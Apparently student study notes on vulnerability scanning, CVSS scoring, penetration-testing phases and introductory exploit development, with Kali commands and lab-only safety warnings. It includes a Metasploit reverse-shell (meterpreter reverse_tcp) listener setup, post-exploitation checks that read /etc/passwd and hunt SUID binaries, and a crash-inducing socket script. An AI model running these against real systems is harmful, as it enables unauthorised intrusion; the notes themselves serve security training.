1. Vulnerability Scanning Techniques

A. Overview / Purpose

Vulnerability scanning is the automated discovery and preliminary classification of security weaknesses in systems, networks, and applications. Its goal is to find and prioritize vulnerabilities so they can be remediated before attackers exploit them.

B. Core Concepts

1. Scan Types

- **Network Scans:** Identify live hosts, open ports, running services and versions, basic OS fingerprinting.
  Typical tool: **Nmap**.
    - Purpose: Attack surface mapping and service discovery.
- **Application Scans:** Check web apps for common issues (insecure headers, outdated server software, exposed directories, default pages, known app vulnerabilities).
  Typical tools: **Nikto**, **OWASP ZAP**, **Burp Scanner**.
- **Credentialed (Authenticated) Scans:** Run with valid credentials to reveal missing patches, misconfigurations, insecure services that are only visible from inside (e.g., local misconfigurations, weak passwords).
    - Example: Running OpenVAS/GVM with SSH credentials or authenticated web scan with valid user account.
- **Unauthenticated Scans:** External perspective without credentials—simulates an external attacker.
- **Agent-based Scans:** Agents installed on hosts for continuous scanning (useful for servers that change frequently).
- **Passive Scanning:** Observes traffic (IDS/traffic analysis) without actively probing — useful for low-risk discovery and false positive reduction.

---

2. Vulnerability Scoring — CVSS v4.0 (practical)

- **CVSS** components: Base (Exploitability + Impact), Temporal, Environmental.
- **Base score** is typically used in reports. CVSS → numeric (0.0–10.0) and qualitative severity (None, Low, Medium, High, Critical).
- **Example mapping:**
    - 0.0–3.9 Low, 4.0–6.9 Medium, 7.0–8.9 High, 9.0–10.0 Critical (check your org's policy for exact cutoffs).
- **How to use:** For each finding include CVSS base score and reasoning (attack vector, privileges required, user interaction, scope, impact on confidentiality/integrity/availability).

---

3. False Positives & Validation

- **Scanner outputs are not final.** Always validate before reporting.
- **Validation techniques:**
    - Re-scan with different tools (e.g., Nmap + masscan).
    - Manual verification: `curl`/`wget` for HTTP issues, `telnet` or `nc` for ports, `ssh` attempt only with permission.
    - Credentialed checks (with permission) to confirm patch status.
    - Cross-check with vendor advisories, CVE details.
- **Example false positive sources:** load balancers/proxies hiding services, IDS/IPS obfuscations, service version mismatch from banners.

C. Practical Commands & Examples (Kali Linux)

1. Host discovery + quick port scan

```
# Ping sweep + basic TCP port scan
nmap -sn 192.168.1.0/24
nmap -sS -p- -T4 192.168.1.100
```

2. Service/version + OS detection

```
nmap -sS -sV -O -p22,80,443 192.168.1.100
```

3. Scripted vulnerability checks (Nmap NSE)

```
nmap -sV --script=vuln 192.168.1.100
```

4. Web scan with Nikto

```
nikto -h http://192.168.1.100 -output nikto_report.txt
```

5. Start GVM/OpenVAS (Kali)

```
sudo gvm-setup
sudo gvm-start
# then open https://127.0.0.1:9392 and run scans via the web UI
```

D. Remediation Guidance (short)

- Prioritise Critical → High by CVSS and business impact.
- Apply vendor patches, disable unused services, enforce secure configurations, strong passwords, and network segmentation.
- Re-scan after remediation to confirm fixes.

E. Learning & Practice Resources

- OWASP Testing Guide (web application testing).
- NIST SP 800-115 (technical guide to testing).
- Labs: TryHackMe, Hack The Box (for safe practice), local vulnerable VMs (Metasploitable, DVWA).

F. Analyze the WannaCry Case to Understand CVSS Mapping

The **WannaCry Ransomware Attack (2017)** is a perfect real-world example of how missing patches + high-severity CVSS vulnerability can cause global damage.

What to Learn from WannaCry:

1. WannaCry exploited **MS17-010: EternalBlue (CVE-2017-0144)**.
2. The CVSS score was **8.1 (High)** → justified because:
    - Remote Code Execution (RCE)
    - No authentication required
    - Network worm capability

Steps to Analyze It:

1. Read the Microsoft advisory **MS17-010**.

2. systems were affected because:
    - SMBv1 was enabled
    - Critical patches were missing

---

2. Penetration Testing Techniques — Detailed Answer

A. Overview / Purpose

Penetration testing (pentest) is a controlled, authorised attempt to exploit vulnerabilities to determine real-world impact. A pentest verifies whether vulnerabilities can be chained into a meaningful compromise and provides remediation guidance.

B. Phases —

1. Reconnaissance (Passive & Active)

- **Passive OSINT:** Google dorking, WHOIS, DNS enumeration, social profiles, public code repositories, and Shodan queries.

Commands:

```
whois google.com
```

- **Active Recon:** Ping sweeps, port scanning (Nmap), banner grabbing.

Commands:

```
nmap -sS -p1-65535 -T4 192.168.0.102
```

---

2. Scanning & Enumeration

- Used **Nessus / OpenVAS** for vulnerability scanning (identify version-based issues).
- **Service-specific enumeration**:
    - SMB: `enum4linux -a <ip>`

- HTTP: `gobuster dir -u http://<ip> -w /usr/share/wordlists/dirb/common.txt`

Commands:

```
enum4linux -a 192.168.0.102
gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/dirb/common.txt
```

---

3. Exploitation

- Use **Metasploit** for known, authorized exploits in lab environments.
- Prefer **manual exploitation** to understand root cause (e.g., SQL injection via identified input fields).
- **Important:** Only exploit in-scope targets with written permission.

Metasploit example (lab):

```
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.0.103
set LPORT 4444
exploit
```

---

4. Post-Exploitation

- **Goal:** enumerate elevated privileges, discover sensitive data, lateral movement (in lab).
- **Commands / checks:**
    - Linux: `sudo -l`, `id`, `uname -a`, `cat /etc/passwd`, `find / -perm -4000 2>/dev/null`

C. Methodologies & Standards

- **PTES** — full-scope methodology from pre-engagement to reporting.
- **OWASP WSTG** — specifically for web application testing.
- **OSCP-style labs** — teaches the hands-on mindset (but not a formal methodology).

D. Ethics & Rules of Engagement

- Always have **written authorization** (scope, testing window, allowed IPs, contact list, data handling rules).
- Define out-of-scope targets and data handling.
- Use non-destructive testing for production (or get explicit approval for intrusive tests).
- Inform stakeholders before and after high-impact tests.

E. Practical Commands Summary

Recon:

```
nmap -A -T4 target
whois example.com
```

Web enumeration:

```
nikto -h http://target
gobuster dir -u http://target -w
/usr/share/wordlists/raft-large-directories.txt
```

Post-exploit checks:

```
sudo -l
find / -perm -4000 2>/dev/null
```

G. Learning & Practice Resources

- PTES documentation.
- OWASP WSTG & OWASP Top 10.
- SANS reading material & case studies.
- Labs: TryHackMe, Hack The Box, Offensive Security PWK (for learning posture).

---

3. Exploit Development Basics(Lab-Safe)

> **Safety note:** exploit development is powerful and dual-use. Only practice in isolated lab environments (VMs you control, purposely vulnerable machines like VulnServer, Metasploitable, or TryHackMe/HTB rooms). Do not use these techniques against production or unauthorized systems.

A. Overview / Goal

Exploit development translates a vulnerability into a working proof-of-concept that demonstrates the impact. The goal for defenders is to understand how exploits work to build mitigations and test detection capabilities.

B. Common Exploit Types (with safe explanations)

- **Buffer overflow (stack/heap):** Overwriting adjacent memory to control instruction pointer (EIP/RIP) — requires understanding memory layout, offsets, and sometimes writing shellcode.
    - Defensive focus: detect patterns, enable ASLR/DEP, compile with stack canaries.
- **SQL injection:** Unsanitized inputs used in SQL queries allowing data exfiltration or authentication bypass.
    - Defensive focus: parameterized queries, least privilege DB accounts.
- **Cross-Site Scripting (XSS):** Injecting script into pages viewed by other users.
    - Defensive focus: proper output encoding, Content Security Policy (CSP).
- **Command injection:** Unsanitized system() calls or similar leading to arbitrary command execution.
- **Format string, use-after-free, integer overflow** — lower-level memory issues.

C. Safe, Practical Steps to Learn Exploit Development

1. Understood the vulnerability thoroughly

- Read the CVE/PoC (Exploit-DB) to understand the root cause.
- Reproduced the condition in a lab VM.

2. Reproduced & gather crash evidence

- For buffer overflow labs:

Find offset:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <crashed_eip_value>
```

For SQLi/XSS: craft payloads using Burp Suite or curl and observe responses.

3. Build minimal POC (safe)

- For buffer overflow: after getting offset, tested small payload that overwrites return address with a safe sentinel to demonstrate control. DO NOT include shellcode for production targets only in lab.

4. Harden & Mitigate

- Tested how mitigations (ASLR, NX) prevent exploitation.
- Show how WAF rules block common payloads.

D. Example Commands (Lab)

1. Pattern Offset (Metasploit tools)

```
# after crash and grabbing overwritten EIP (e.g., 396F4337), find
offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
396F4337
```

2. Basic Python test harness (lab)

This just demonstrates connecting and sending data to a listening test server.

```
#!/usr/bin/env python3
import socket

s = socket.socket()
s.connect(("192.168.56.101", 9999))   # vuln lab VM
payload = b"A"*200
s.send(payload)
s.close()
```

(This script is for lab testing only — it simply sends bytes to provoke a crash in a purposely vulnerable app.)

F. Mitigations & Defensive Practices

- **ASLR:** Randomize memory addresses. Test whether disabling ASLR enables exploitation in lab.
- **DEP/NX:** Make data pages non-executable.
- **Stack canaries:** Detect stack tampering.
- **Compiler hardening:** PIE, RELRO, Fortify.
- **Application-level:** input validation, parameterized queries, proper escaping/encoding, least privilege for services.

- **Network-level:** segmentation, restrict access to services (e.g., DB on private subnets only), WAF for application layer.

G. Learning Resources & Labs

- **Exploit-DB** (read PoCs responsibly for learning only).
- **TCM Security** exploit write-ups (learning-oriented).
- **TryHackMe**: “Buffer Overflow” rooms, “Web Exploitation” modules.
- **Metasploit Unleashed** (for lab-related Metasploit usage).
